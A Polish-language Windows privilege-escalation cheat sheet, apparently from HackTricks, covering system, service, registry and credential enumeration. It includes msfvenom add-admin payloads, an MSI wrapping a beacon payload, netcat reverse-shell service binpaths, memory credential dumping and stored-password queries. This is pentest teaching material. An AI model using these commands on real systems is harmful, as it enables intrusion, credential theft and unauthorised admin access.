80 KiB
Raw Blame History

Windows Local Privilege Escalation

{{#include ../../banners/hacktricks-training.md}}

Najlepsze narzędzie do wyszukiwania Windows local privilege escalation vectors: WinPEAS

Podstawy teorii Windows

Access Tokens

Jeśli nie wiesz, czym są Windows Access Tokens, przeczytaj następującą stronę przed kontynuowaniem:

{{#ref}} access-tokens.md {{#endref}}

ACLs - DACLs/SACLs/ACEs

Sprawdź następującą stronę, aby uzyskać więcej informacji o ACLs - DACLs/SACLs/ACEs:

{{#ref}} acls-dacls-sacls-aces.md {{#endref}}

Integrity Levels

Jeśli nie wiesz, czym są integrity levels w Windows, powinieneś przeczytać następującą stronę przed kontynuowaniem:

{{#ref}} integrity-levels.md {{#endref}}

Mechanizmy zabezpieczeń Windows

W systemie Windows istnieją różne rzeczy, które mogą uniemożliwić Ci przeprowadzenie enumeracji systemu, uruchamianie plików wykonywalnych lub nawet wykryć Twoje działania. Powinieneś przeczytać następującą stronę i wyenumerować wszystkie te mechanizmy obronne zanim rozpoczniesz privilege escalation enumeration:

{{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}}

Informacje o systemie

Enumeracja informacji o wersji

Sprawdź, czy wersja Windows ma znane podatności (sprawdź także zastosowane poprawki).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Wersja Exploits

This site is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the massive attack surface that a Windows environment presents.

Na systemie

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas ma wbudowany watson)

Lokalnie z informacjami o systemie

Repozytoria GitHub z exploits:

Środowisko

Czy jakieś credential/Juicy info jest zapisane w env variables?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Historia PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell — pliki transkrypcji

Możesz dowiedzieć się, jak to włączyć pod adresem https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Szczegóły wykonania potoków PowerShell są rejestrowane, obejmując wykonywane polecenia, wywołania poleceń oraz fragmenty skryptów. Pełne informacje o wykonaniu i wyniki działania mogą jednak nie być uchwycone.

Aby to włączyć, postępuj zgodnie z instrukcjami w sekcji "Transcript files" dokumentacji, wybierając "Module Logging" zamiast "Powershell Transcription".

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Aby wyświetlić ostatnie 15 zdarzeń z logów PowersShell, możesz wykonać:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Rejestrowany jest kompletny zapis aktywności oraz pełnej zawartości podczas wykonywania scriptu, co zapewnia, że każdy block of code jest dokumentowany w trakcie działania. Proces ten zachowuje kompleksowy audit trail każdej aktywności, przydatny do forensics i analizy złośliwego zachowania. Dokumentując całą aktywność w momencie wykonywania, uzyskuje się szczegółowy wgląd w proces.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Dzienniki zdarzeń dla Script Block można znaleźć w Podglądzie zdarzeń systemu Windows pod ścieżką: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Aby wyświetlić ostatnie 20 zdarzeń możesz użyć:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Ustawienia Internetu

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Dyski

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Możesz przejąć system, jeśli aktualizacje są pobierane nie przez httpS, lecz przez http.

Zaczynasz od sprawdzenia, czy sieć używa aktualizacji WSUS bez SSL, uruchamiając następujące polecenie w cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Lub następujące w PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Jeśli otrzymasz odpowiedź taką jak jedna z tych:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

A jeśli HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer lub Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" jest równe 1.

Wówczas, jest to możliwe do wykorzystania. Jeśli ostatni wpis rejestru jest równy 0, wpis WSUS zostanie zignorowany.

Aby wykorzystać tę lukę, możesz użyć narzędzi takich jak: Wsuxploit, pyWSUS - są to skrypty-exploity MiTM służące do wstrzykiwania 'fałszywych' aktualizacji do ruchu WSUS bez SSL.

Przeczytaj badanie tutaj:

{{#file}} CTX_WSUSpect_White_Paper (1).pdf {{#endfile}}

WSUS CVE-2020-1013

Read the complete report here.
Zasadniczo, to jest wada, którą wykorzystuje ten błąd:

Jeśli mamy możliwość zmodyfikowania lokalnego proxy użytkownika, a Windows Updates używa proxy skonfigurowanego w ustawieniach Internet Explorera, to mamy możliwość uruchomienia PyWSUS lokalnie, aby przechwycić własny ruch i uruchomić kod jako podwyższony użytkownik na naszym systemie.

Ponadto, ponieważ usługa WSUS używa ustawień bieżącego użytkownika, będzie też korzystać z jego magazynu certyfikatów. Jeśli wygenerujemy samopodpisany certyfikat dla nazwy hosta WSUS i dodamy ten certyfikat do magazynu certyfikatów bieżącego użytkownika, będziemy mogli przechwycić zarówno HTTP, jak i HTTPS ruch WSUS. WSUS nie stosuje mechanizmów podobnych do HSTS w celu wdrożenia walidacji typu trust-on-first-use dla certyfikatu. Jeśli przedstawiony certyfikat jest zaufany przez użytkownika i ma poprawną nazwę hosta, zostanie zaakceptowany przez usługę.

Można wykorzystać tę podatność za pomocą narzędzia WSUSpicious (gdy zostanie upublicznione).

KrbRelayUp

W środowiskach Windows domain istnieje podatność na local privilege escalation występująca w określonych warunkach. Warunki te obejmują środowiska, w których LDAP signing is not enforced, użytkownicy posiadają uprawnienia pozwalające im skonfigurować Resource-Based Constrained Delegation (RBCD) oraz możliwość tworzenia obiektów komputerów w domenie. Należy zauważyć, że te wymagania są spełnione przy ustawieniach domyślnych.

Znajdź exploit w https://github.com/Dec0ne/KrbRelayUp

Aby uzyskać więcej informacji o przebiegu ataku sprawdź https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Jeśli te 2 wpisy rejestru są włączone (wartość to 0x1), to użytkownicy o dowolnych uprawnieniach mogą zainstalować (uruchomić) *.msi jako NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Jeśli masz sesję meterpreter, możesz zautomatyzować tę technikę, używając modułu exploit/windows/local/always_install_elevated

PowerUP

Użyj polecenia Write-UserAddMSI z power-up, aby w bieżącym katalogu utworzyć Windows MSI binary służący do eskalacji uprawnień. Ten skrypt zapisuje prekompilowany instalator MSI, który wyświetla monit o dodanie użytkownika/grupy (więc będziesz potrzebować dostępu GUI):

Write-UserAddMSI

Po prostu uruchom utworzony plik binarny, aby eskalować uprawnienia.

MSI Wrapper

Przeczytaj ten samouczek, aby dowiedzieć się, jak utworzyć MSI wrapper przy użyciu tych narzędzi. Zwróć uwagę, że możesz opakować plik ".bat", jeśli tylko chcesz wykonać polecenia.

{{#ref}} msi-wrapper.md {{#endref}}

Create MSI with WIX

{{#ref}} create-msi-with-wix.md {{#endref}}

Create MSI with Visual Studio

  • Wygeneruj za pomocą Cobalt Strike lub Metasploit new Windows EXE TCP payload w C:\privesc\beacon.exe
  • Otwórz Visual Studio, wybierz Utwórz nowy projekt i wpisz "installer" w polu wyszukiwania. Wybierz projekt Setup Wizard i kliknij Next.
  • Nadaj projektowi nazwę, np. AlwaysPrivesc, użyj C:\privesc jako lokalizacji, zaznacz place solution and project in the same directory, i kliknij Create.
  • Klikaj Next aż dojdziesz do kroku 3 z 4 (wybierz pliki do uwzględnienia). Kliknij Add i wybierz wygenerowany wcześniej Beacon payload. Następnie kliknij Finish.
  • Zaznacz projekt AlwaysPrivesc w Solution Explorer i w Properties zmień TargetPlatform z x86 na x64.
  • Istnieją inne właściwości, które możesz zmienić, takie jak Author i Manufacturer, co może sprawić, że zainstalowana aplikacja będzie wyglądać bardziej wiarygodnie.
  • Kliknij prawym przyciskiem projektu i wybierz View > Custom Actions.
  • Kliknij prawym przyciskiem Install i wybierz Add Custom Action.
  • Kliknij dwukrotnie Application Folder, wybierz swój plik beacon.exe i kliknij OK. To zapewni, że beacon payload zostanie uruchomiony zaraz po uruchomieniu instalatora.
  • W Custom Action Properties zmień Run64Bit na True.
  • Na koniec, build it.
  • Jeśli pojawi się ostrzeżenie File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', upewnij się, że ustawiłeś platformę na x64.

MSI Installation

Aby wykonać instalację złośliwego pliku .msi w tle:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Aby wykorzystać tę podatność, możesz użyć: exploit/windows/local/always_install_elevated

Antywirusy i detektory

Ustawienia audytu

Te ustawienia decydują o tym, co jest logowane, więc należy zwrócić na nie uwagę

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding — warto wiedzieć, dokąd są wysyłane logi

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS został zaprojektowany do zarządzania lokalnymi hasłami konta Administrator, zapewniając, że każde hasło jest unikatowe, losowe i regularnie aktualizowane na komputerach dołączonych do domeny. Hasła te są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którym przyznano odpowiednie uprawnienia przez ACLs, co pozwala im na przeglądanie local admin passwords, jeśli są do tego upoważnieni.

{{#ref}} ../active-directory-methodology/laps.md {{#endref}}

WDigest

Jeśli aktywny, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Począwszy od Windows 8.1, Microsoft wprowadził ulepszone zabezpieczenia dla Local Security Authority (LSA), aby zablokować próby nieufnych procesów w celu read its memory lub inject code, dodatkowo zabezpieczając system.
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard został wprowadzony w Windows 10. Jego celem jest zabezpieczenie poświadczeń przechowywanych na urządzeniu przed zagrożeniami takimi jak ataki pass-the-hash.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Poświadczenia w pamięci podręcznej

Poświadczenia domenowe są uwierzytelniane przez Local Security Authority (LSA) i wykorzystywane przez komponenty systemu operacyjnego. Gdy dane logowania użytkownika zostaną uwierzytelnione przez zarejestrowany pakiet zabezpieczeń, zwykle tworzone są dla niego poświadczenia domenowe.
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Użytkownicy i grupy

Enumeracja użytkowników i grup

Należy sprawdzić, czy któraś z grup, do których należysz, ma interesujące uprawnienia.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Grupy uprzywilejowane

Jeśli należysz do jakiejś grupy uprzywilejowanej, możesz być w stanie eskalować uprawnienia. Dowiedz się o grupach uprzywilejowanych i jak je wykorzystać do eskalacji uprawnień tutaj:

{{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}}

Token manipulation

Dowiedz się więcej o tym, czym jest token na tej stronie: Windows Tokens.
Sprawdź następującą stronę, aby dowiedzieć się o interesujących tokenach i jak je wykorzystać:

{{#ref}} privilege-escalation-abusing-tokens.md {{#endref}}

Zalogowani użytkownicy / Sesje

qwinsta
klist sessions

Katalogi domowe

dir C:\Users
Get-ChildItem C:\Users

Polityka haseł

net accounts

Pobierz zawartość schowka

powershell -command "Get-Clipboard"

Uruchomione procesy

Uprawnienia plików i folderów

Po pierwsze, przy wyświetlaniu procesów sprawdź, czy w linii poleceń procesu nie ma haseł.
Sprawdź, czy możesz nadpisać uruchamiany plik binarny lub czy masz uprawnienia zapisu do folderu z plikami binarnymi, aby wykorzystać potencjalne DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Zawsze sprawdzaj, czy nie działają electron/cef/chromium debuggers running, you could abuse it to escalate privileges.

Sprawdzanie uprawnień plików binarnych procesów

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Sprawdzanie uprawnień folderów zawierających binaria procesów (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Możesz utworzyć zrzut pamięci działającego procesu przy użyciu procdump z sysinternals. Usługi takie jak FTP mają credentials in clear text in memory. Spróbuj zrzucić pamięć i odczytać credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Niezabezpieczone aplikacje GUI

Aplikacje uruchamiane jako SYSTEM mogą pozwolić użytkownikowi na uruchomienie CMD lub przeglądanie katalogów.

Przykład: "Windows Help and Support" (Windows + F1), wyszukaj "command prompt", kliknij "Click to open Command Prompt"

Usługi

Pobierz listę usług:

net start
wmic service list brief
sc query
Get-Service

Uprawnienia

Możesz użyć sc, aby uzyskać informacje o usłudze

sc qc <service_name>

Zaleca się mieć binarkę accesschk z Sysinternals, aby sprawdzić wymagany poziom uprawnień dla każdej usługi.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Zaleca się sprawdzić, czy "Authenticated Users" mogą modyfikować jakąkolwiek usługę:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Możesz pobrać accesschk.exe dla XP stąd

Włączenie usługi

Jeśli otrzymujesz ten błąd (na przykład dla SSDPSRV):

Wystąpił błąd systemowy 1058.
Usługi nie można uruchomić, ponieważ jest wyłączona lub nie ma powiązanych z nią włączonych urządzeń.

Możesz ją włączyć, używając

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Weź pod uwagę, że usługa upnphost zależy od SSDPSRV, aby działać (dla XP SP1)

Inne obejście tego problemu to uruchomienie:

sc.exe config usosvc start= auto

Modyfikacja ścieżki pliku wykonywalnego usługi

Jeżeli grupa "Authenticated users" posiada na usłudze uprawnienie SERVICE_ALL_ACCESS, możliwa jest modyfikacja pliku wykonywalnego usługi. Aby zmodyfikować i uruchomić sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Restart usługi

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Eskalacja uprawnień jest możliwa dzięki następującym uprawnieniom:

  • SERVICE_CHANGE_CONFIG: Pozwala na rekonfigurację pliku wykonywalnego usługi.
  • WRITE_DAC: Umożliwia zmianę uprawnień, co może prowadzić do możliwości modyfikacji konfiguracji usług.
  • WRITE_OWNER: Pozwala na przejęcie własności oraz zmianę uprawnień.
  • GENERIC_WRITE: Nadaje możliwość zmiany konfiguracji usługi.
  • GENERIC_ALL: Również nadaje możliwość zmiany konfiguracji usługi.

Do wykrywania i eksploatacji tej luki można użyć exploit/windows/local/service_permissions.

Słabe uprawnienia binarek usług

Sprawdź, czy możesz zmodyfikować plik wykonywalny uruchamiany przez usługę lub czy masz prawa zapisu do folderu, w którym znajduje się binarka (DLL Hijacking).
Możesz uzyskać listę wszystkich binarek uruchamianych przez usługę za pomocą wmic (nie w system32) i sprawdzić swoje uprawnienia za pomocą icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Możesz także użyć sc i icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Uprawnienia do modyfikacji rejestru usług

Powinieneś sprawdzić, czy możesz modyfikować dowolny rejestr usług.
Możesz sprawdzić swoje uprawnienia do rejestru usług wykonując:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Należy sprawdzić, czy Authenticated Users lub NT AUTHORITY\INTERACTIVE posiadają uprawnienia FullControl. Jeśli tak, plik binarny uruchamiany przez usługę może zostać zmieniony.

Aby zmienić Path wykonywanego pliku binarnego:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Uprawnienia AppendData/AddSubdirectory w rejestrze usług

Jeśli masz to uprawnienie do rejestru, oznacza to, że możesz tworzyć podrejestry tego rejestru. W przypadku usług Windows jest to wystarczające, aby uruchomić dowolny kod:

{{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}}

Ścieżki usług bez cudzysłowów

Jeśli ścieżka do pliku wykonywalnego nie jest ujęta w cudzysłowy, Windows spróbuje uruchomić każdy fragment kończący się przed spacją.

Na przykład, dla ścieżki C:\Program Files\Some Folder\Service.exe Windows spróbuje uruchomić:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Wypisz wszystkie niecytowane ścieżki usług, z wyłączeniem tych należących do wbudowanych usług Windows:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Możesz wykryć i wykorzystać tę podatność za pomocą metasploit: exploit/windows/local/trusted\_service\_path Możesz ręcznie utworzyć plik binarny usługi za pomocą metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Działania odzyskiwania

Windows pozwala użytkownikom określić akcje wykonywane w przypadku awarii usługi. Funkcję tę można skonfigurować tak, aby wskazywała na binary. Jeśli binary można zastąpić, może być możliwe privilege escalation. Więcej informacji znajduje się w official documentation.

Aplikacje

Zainstalowane aplikacje

Sprawdź permissions of the binaries (może uda Ci się nadpisać któryś i escalate privileges) oraz folderów (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Uprawnienia do zapisu

Sprawdź, czy możesz zmodyfikować jakiś plik konfiguracyjny, aby odczytać jakiś specjalny plik lub czy możesz zmodyfikować jakiś plik binarny, który zostanie wykonany przez konto Administratora (schedtasks).

Jednym ze sposobów znalezienia słabych uprawnień do folderów/plików w systemie jest wykonanie:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Uruchamianie przy starcie

Sprawdź, czy możesz nadpisać jakiś registry lub binary, który będzie wykonywany przez innego użytkownika.
Przeczytaj następującą stronę, aby dowiedzieć się więcej o interesujących autoruns locations to escalate privileges:

{{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}}

Drivers

Szukaj możliwych third party weird/vulnerable drivers

driverquery
driverquery.exe /fo table
driverquery /SI

Jeśli sterownik ujawnia arbitrary kernel read/write primitive (co jest częste w źle zaprojektowanych IOCTL handlers), możesz uzyskać eskalację, kradnąc SYSTEM token bezpośrednio z pamięci jądra. Zobacz krok po kroku tę technikę tutaj:

{{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}}

PATH DLL Hijacking

Jeśli masz write permissions inside a folder present on PATH możesz przejąć DLL ładowaną przez proces i escalate privileges.

Sprawdź uprawnienia wszystkich folderów w PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Więcej informacji o tym, jak wykorzystać tę kontrolę:

{{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md {{#endref}}

Sieć

Udostępnienia

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

plik hosts

Sprawdź, czy w pliku hosts nie ma innych znanych komputerów wpisanych na stałe

type C:\Windows\System32\drivers\etc\hosts

Interfejsy sieciowe & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Otwarte porty

Sprawdź, czy z zewnątrz dostępne są ograniczone usługi

netstat -ano #Opened ports?

Tabela routingu

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabela ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Reguły zapory

Sprawdź tę stronę pod kątem poleceń związanych z Firewall (wyświetlanie reguł, tworzenie reguł, wyłączanie, wyłączanie...)

Więcej poleceń do enumeracji sieci tutaj

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Plik binarny bash.exe można również znaleźć w C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Jeśli uzyskasz root user, możesz nasłuchiwać na dowolnym porcie (przy pierwszym użyciu nc.exe do nasłuchiwania na porcie system zapyta w GUI, czy nc ma być dozwolone przez zaporę).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Aby w prosty sposób uruchomić bash jako root, możesz spróbować --default-user root

Możesz przeglądać system plików WSL w folderze C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Poświadczenia Windows

Poświadczenia Winlogon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

Źródło [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault]
